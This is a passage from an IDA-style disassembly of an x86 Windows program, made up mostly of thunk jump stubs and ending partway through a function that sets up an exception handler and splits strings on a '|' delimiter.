sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408771p
					; ___:00408793p ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 129Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F40
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
